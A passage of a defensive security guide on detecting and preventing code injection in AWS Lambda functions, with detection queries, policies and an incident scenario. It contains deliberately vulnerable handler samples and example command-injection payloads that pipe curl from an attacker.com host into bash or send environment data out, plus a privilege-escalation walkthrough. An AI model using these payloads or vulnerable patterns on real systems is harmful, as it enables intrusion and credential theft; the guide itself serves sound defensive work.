\u002Ftmp\u002Ffile\")\n  ```\n  Attack: Upload an object with key `; curl http:\u002F\u002Fattacker.com\u002Fexfil?data=$(env)` to inject a command through the S3 event.\n\n- **SQS message body injection**: Lambda processes SQS messages where the body contains attacker-controlled data:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      for record in event['Records']:\n          message = json.loads(record['body'])\n          # VULNERABLE: message content used in eval\n          result = eval(message['formula'])\n  ```\n\n- **API Gateway header\u002Fparameter injection**: HTTP request data passes through API Gateway into the Lambda event:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      user_agent = event['headers']['User-Agent']\n      # VULNERABLE: header value used in shell command\n      subprocess.run(f\"echo {user_agent} >> \u002Ftmp\u002Faccess.log\", shell=True)\n  ```\n\n- **DynamoDB Stream record injection**: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      for record in event['Records']:\n          new_image = record['dynamodb']['NewImage']\n          config = new_image['config']['S']\n          # VULNERABLE: DynamoDB record value used in exec\n          exec(config)\n  ```\n\n- **Detection via CloudWatch Logs Insights**: Query for evidence of injection attempts in function execution logs:\n  ```\n  fields @timestamp, @message\n  | filter @message like \u002F(?i)(eval|exec|os\\.system|child_process|subprocess|import os)\u002F\n  | filter @message like \u002F(?i)(error|exception|traceback|syntax)\u002F\n  | sort @timestamp desc\n  | limit 100\n  ```\n\n### Step 4: Detect Malicious Lambda Layer Injection\n\nIdentify unauthorized Lambda layers that intercept function execution or exfiltrate data:\n\n- **Audit current layer attachments**: List all functions and their layer versions to identify unexpected additions:\n  ```bash\n  aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json\n  ```\n- **Detect layer modification events in CloudTrail**: Query for `UpdateFunctionConfiguration` events that add or change layers:\n  ```bash\n  aws cloudtrail lookup-events \\\n    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \\\n    --start-time \"2026-03-12T00:00:00Z\" \\\n    --end-time \"2026-03-19T23:59:59Z\" \\\n    --query 'Events[*].[EventTime,Username,CloudTrailEvent]'\n  ```\n  Parse the `CloudTrailEvent` JSON to check if `Layers` was modified in the request parameters.\n\n- **Analyze layer contents**: Download and inspect layer packages for malicious code:\n  ```bash\n  aws lambda get-layer-version --layer-name \u003Clayer-name> --version-number \u003Cversion> \\\n    --query 'Content.Location' --output text | xargs curl -o layer.zip\n  unzip layer.zip -d layer_contents\u002F\n  # Search for suspicious patterns\n  grep -rn \"urllib\\|requests\\|http\\|socket\\|exfil\\|base64\\|subprocess\" layer_contents\u002F\n  ```\n\n- **Layer hijacking indicators**: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:\n  - Python: Layer code in `\u002Fopt\u002Fpython\u002F` is imported before the function's own modules\n  - Node.js: Layer code in `\u002Fopt\u002Fnodejs\u002Fnode_modules\u002F` overrides function dependencies\n  - A layer providing a modified `boto3` package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint\n\n- **CloudTrail detection query for layer changes**:\n  ```json\n  {\n    \"source\": [\"aws.lambda\"],\n    \"detail-type\": [\"AWS API Call via CloudTrail\"],\n    \"detail\": {\n      \"eventName\": [\"UpdateFunctionConfiguration20150331v2\", \"PublishLayerVersion20181031\"],\n      \"errorCode\": [{\"exists\": false}]\n    }\n  }\n  ```\n\n### Step 5: Detect IAM Privilege Escalation via Lambda\n\nIdentify escalation paths where attackers modify functions to assume higher-privilege roles:\n\n- **The Lambda privilege escalation pattern**: An attacker with `lambda:UpdateFunctionCode` and `iam:PassRole` permissions can:\n  1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)\n  2. Modify the function's code to call `sts:GetCallerIdentity` or perform privileged actions\n  3. Invoke the function, which executes with the high-privilege role\n  4. Exfiltrate the role's temporary credentials from the function's environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`)\n\n- **Detect UpdateFunctionCode events**: Monitor CloudTrail for function code modifications:\n  ```bash\n  aws cloudtrail lookup-events \\\n    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \\\n    --start-time \"2026-03-12T00:00:00Z\" \\\n    --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table\n  ```\n\n- **Detect PassRole to Lambda**: `iam:PassRole` is required to attach a different execution role to a function. Monitor for this:\n  ```\n  # CloudWatch Logs Insights on CloudTrail logs\n  fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role\n  | filter eventName = \"UpdateFunctionConfiguration20150331v2\"\n  | filter ispresent(requestParameters.role)\n  | sort eventTime desc\n  ```\n\n- **Detect credential exfiltration from Lambda**: A compromised function may call STS or create new IAM entities:\n  ```\n  fields eventTime, userIdentity.arn, eventName, sourceIPAddress\n  | filter userIdentity.arn like \u002F.*:assumed-role\\\u002F.*lambda.*\u002F\n  | filter eventName in [\"GetCallerIdentity\", \"CreateUser\", \"AttachUserPolicy\",\n      \"CreateAccessKey\", \"AssumeRole\", \"PutUserPolicy\"]\n  | sort eventTime desc\n  ```\n\n- **EventBridge rule for real-time alerting**: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:\n  ```json\n  {\n    \"source\": [\"aws.lambda\"],\n    \"detail-type\": [\"AWS API Call via CloudTrail\"],\n    \"detail\": {\n      \"eventName\": [\n        \"UpdateFunctionCode20150331v2\",\n        \"UpdateFunctionConfiguration20150331v2\",\n        \"CreateFunction20150331\"\n      ],\n      \"errorCode\": [{\"exists\": false}]\n    }\n  }\n  ```\n\n### Step 6: Implement Runtime Injection Prevention\n\nDeploy runtime protection controls to prevent injection at execution time:\n\n- **Input validation at handler entry**: Validate and sanitize all event data before processing:\n  ```python\n  import re\n  import json\n  from functools import wraps\n\n  SAFE_PATTERNS = {\n      'userId': re.compile(r'^[a-zA-Z0-9\\-]{1,64}$'),\n      'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$'),\n      'action': re.compile(r'^(get|list|create|update|delete)$'),\n  }\n\n  def validate_event(schema):\n      \"\"\"Decorator that validates Lambda event against a whitelist schema.\"\"\"\n      def decorator(func):\n          @wraps(func)\n          def wrapper(event, context):\n              for field, pattern in schema.items():\n                  value = event.get(field, '')\n                  if isinstance(value, str) and not pattern.match(value):\n                      return {\n                          'statusCode': 400,\n                          'body': json.dumps({'error': f'Invalid {field}'})\n                      }\n              return func(event, context)\n          return wrapper\n      return decorator\n\n  @validate_event(SAFE_PATTERNS)\n  def handler(event, context):\n      # Event data is validated before reaching this point\n      user_id = event['userId']\n      # Safe to use in queries with parameterized statements\n      return {'statusCode': 200, 'body': json.dumps({'user': user_id})}\n  ```\n\n- **Lambda function URL authorization**: Ensure functions exposed via URLs require IAM auth:\n  ```bash\n  aws lambda get-function-url-config --function-name \u003Cname> \\\n    --query 'AuthType' --output text\n  # Must return \"AWS_IAM\", not \"NONE\"\n  ```\n\n- **Least privilege execution roles**: Restrict the function's IAM role to the minimum required permissions:\n  ```json\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"dynamodb:GetItem\",\n          \"dynamodb:PutItem\"\n        ],\n        \"Resource\": \"arn:aws:dynamodb:us-east-1:111122223333:table\u002FUserTable\"\n      },\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": \"logs:*\",\n        \"Resource\": \"arn:aws:logs:us-east-1:111122223333:log-group:\u002Faws\u002Flambda\u002Fmy-function:*\"\n      }\n    ]\n  }\n  ```\n\n- **SCP to prevent dangerous Lambda modifications**: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:\n  ```json\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Sid\": \"DenyLambdaCodeUpdateExceptCICD\",\n        \"Effect\": \"Deny\",\n        \"Action\": [\n          \"lambda:UpdateFunctionCode\",\n          \"lambda:UpdateFunctionConfiguration\"\n        ],\n        \"Resource\": \"*\",\n        \"Condition\": {\n          \"StringNotLike\": {\n            \"aws:PrincipalArn\": \"arn:aws:iam::*:role\u002FCICD-DeploymentRole\"\n          }\n        }\n      }\n    ]\n  }\n  ```\n\n- **AWS Lambda Powertools for structured logging**: Emit structured security events that can be ingested by SIEM:\n  ```python\n  from aws_lambda_powertools import Logger, Tracer\n  from aws_lambda_powertools.utilities.validation import validate\n\n  logger = Logger(service=\"payment-processor\")\n  tracer = Tracer()\n\n  @logger.inject_lambda_context\n  @tracer.capture_lambda_handler\n  def handler(event, context):\n      logger.info(\"Processing event\", extra={\n          \"source_ip\": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),\n          \"user_agent\": event.get('headers', {}).get('User-Agent'),\n          \"http_method\": event.get('httpMethod'),\n      })\n  ```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Event Source Poisoning** | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event |\n| **Function Injection** | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler |\n| **Lambda Layer Hijacking** | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path |\n| **IAM Privilege Escalation via Lambda** | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials |\n| **OWASP Serverless Top 10** | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) |\n| **Cold Start Injection** | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context |\n| **Execution Role** | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |\n\n## Tools & Systems\n\n- **Semgrep**: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes\n- **Bandit**: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization\n- **AWS CloudTrail**: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns\n- **CloudWatch Logs Insights**: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns\n- **AWS Config**: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types\n- **Prowler**: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption\n\n## Common Scenarios\n\n### Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack\n\n**Context**: A SOC analyst receives a GuardDuty alert for `UnauthorizedAccess:IAMUser\u002FInstanceCredentialExfiltration.OutsideAWS` on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with `lambda:UpdateFunctionCode` permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.\n\n**Approach**:\n1. Query CloudTrail for `UpdateFunctionCode` events in the past 7 days to identify when the function was modified and by which principal:\n   ```\n   fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress\n   | filter eventName = \"UpdateFunctionCode20150331v2\"\n   | filter requestParameters.functionName = \"payment-processor\"\n   | sort eventTime desc\n   ```\n2. Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows\n3. Download the modified function code and find an injected snippet that POSTs `os.environ['AWS_ACCESS_KEY_ID']`, `AWS_SECRET_ACCESS_KEY`, and `AWS_SESSION_TOKEN` to an external endpoint on each invocation\n4. Check if the attacker also added a malicious layer by querying for `UpdateFunctionConfiguration` events with layer changes\n5. Verify the function's execution role permissions: the payment-processor role has `dynamodb:*`, `s3:GetObject`, `s3:PutObject`, and `sqs:SendMessage` across all resources, exceeding least privilege\n6. Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding `sts:GetCallerIdentity`, `s3:ListBuckets`, `dynamodb:Scan` on the customer table, and `iam:CreateUser` attempts\n7. Respond by reverting the function code from the last known-good deployment package in the CI\u002FCD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts `lambda:UpdateFunctionCode` to the CI\u002FCD role only\n\n**Pitfalls**:\n- Only checking the function code and missing malicious layers that persist even after the function code is reverted\n- Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3\n- Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid\n- Restoring the function without first preserving the malicious code as forensic evidence\n- Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open\n\n## Output Format\n\n```\n## Serverless Function Injection Assessment\n\n**Account**: 111122223333\n**Region**: us-east-1\n**Functions Analyzed**: 47\n**Event Source Mappings**: 23\n**Assessment Date**: 2026-03-19\n\n### Critical Findings\n\n#### FINDING-001: OS Command Injection in S3 Event Handler\n**Function**: image-resize-processor\n**Runtime**: python3.12\n**Severity**: Critical (CVSS 9.8)\n**Sink**: os.system() at handler.py:34\n**Source**: event['Records'][0]['s3']['object']['key']\n**Attack Vector**: Upload S3 object with key containing shell metacharacters\n**Proof of Concept**:\n  Object key: `; curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash`\n  Results in: os.system(\"convert \u002Ftmp\u002F; curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash\")\n**Remediation**: Replace os.system() with subprocess.run() with shell=False\n  and validate the S3 key against an allowlist pattern.\n\n#### FINDING-002: IAM Privilege Escalation Path\n**Function**: data-export-worker\n**Execution Role**: arn:aws:iam::111122223333:role\u002FDataExportRole\n**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*\n**Risk**: Any user with lambda:UpdateFunctionCode can modify this function\n  to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.\n**Remediation**: Apply least privilege to the execution role, restrict\n  lambda:UpdateFunctionCode via SCP to CI\u002FCD pipeline role only.\n\n#### FINDING-003: Unauthorized Layer Attached\n**Function**: auth-token-validator\n**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3\n**Layer Account**: External account (999888777666)\n**Risk**: Layer from untrusted external account can intercept all function\n  invocations, modify responses, or exfiltrate environment variables.\n**Remediation**: Remove the external layer, vendor the dependency into the\n  function's deployment package, add AWS Config rule to block external layers.\n\n### Detection Rules Deployed\n- EventBridge rule: Alert on UpdateFunctionCode from non-CI\u002FCD principals\n- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes\n- Config rule: Lambda functions must not have layers from external accounts\n- Config rule: Lambda execution roles must not have wildcard resource permissions\n```\n",{"name":5,"tags":56,"author":10,"domain":46,"license":16,"version":58,"nist_csf":59,"subdomain":32,"description":64,"mitre_attack":65},[37,36,35,34,33,57],"CloudTrail","1.0.0",[60,61,62,63],"PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01","Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation via function modification. The analyst combines static analysis of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing to identify injection vectors across the expanded serverless attack surface including API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda security assessment, serverless injection detection, function event poisoning analysis, or serverless privilege escalation investigation.\n",[66,67,68,69,70],"T1190","T1059","T1648","T1078.004","T1068","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fdetecting-serverless-function-injection",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":82,"prompt":92,"zipAvailable":93},[83,86,89],{"tool":84,"command":85},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill detecting-serverless-function-injection",{"tool":87,"command":88},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill detecting-serverless-function-injection",{"tool":90,"command":91},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill detecting-serverless-function-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-serverless-function-injection\u002FSKILL.md",true,[95,100,106],{"path":96,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-serverless-function-injection\u002FLICENSE",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"references\u002Fapi-reference.md","REFERENCE","参考文档",5121,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-serverless-function-injection\u002Freferences\u002Fapi-reference.md",{"path":107,"resourceType":108,"resourceTypeDesc":109,"sizeBytes":110,"sourceHtmlUrl":111},"scripts\u002Fagent.py","SCRIPT","脚本",26531,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-serverless-function-injection\u002Fscripts\u002Fagent.py",[113,143,172,204,235,267],{"skillNo":114,"name":115,"nameZh":116,"description":117,"descriptionZh":118,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":119,"categories":120,"keywords":125,"publishedAt":51},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[121,122],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":123,"categoryName":124,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[126,127,128,129,48,46,130,131,132,44,133,134,135,136,137,138,139,140,141,142],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","pr","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":144,"name":145,"nameZh":146,"description":147,"descriptionZh":148,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":149,"categories":150,"keywords":155,"publishedAt":51},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[151,152],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":153,"categoryName":154,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[156,139,157,158,48,159,46,132,160,161,162,163,164,165,166,167,168,169,170,171],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":173,"name":174,"nameZh":175,"description":176,"descriptionZh":177,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":178,"categories":179,"keywords":186,"publishedAt":51},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[180,183],{"categoryNo":181,"categoryName":182,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":184,"categoryName":185,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[166,187,188,189,190,46,191,192,160,193,194,195,196,197,198,199,200,201,202,203],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":205,"name":206,"nameZh":207,"description":208,"descriptionZh":209,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":210,"categories":211,"keywords":216,"publishedAt":51},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[212,213],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":214,"categoryName":215,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[217,218,219,46,220,221,222,223,224,225,226,227,228,229,230,231,163,232,233,234],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":236,"name":237,"nameZh":238,"description":239,"descriptionZh":240,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":241,"categories":242,"keywords":247,"publishedAt":51},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[243,246],{"categoryNo":244,"categoryName":245,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[248,249,250,46,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":268,"name":269,"nameZh":270,"description":271,"descriptionZh":272,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":273,"categories":274,"keywords":279,"publishedAt":51},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[275,276],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":277,"categoryName":278,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[48,280,46,281,282,283,284,285,286,287,288,199,289,200,290,291,292,293,294,295],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]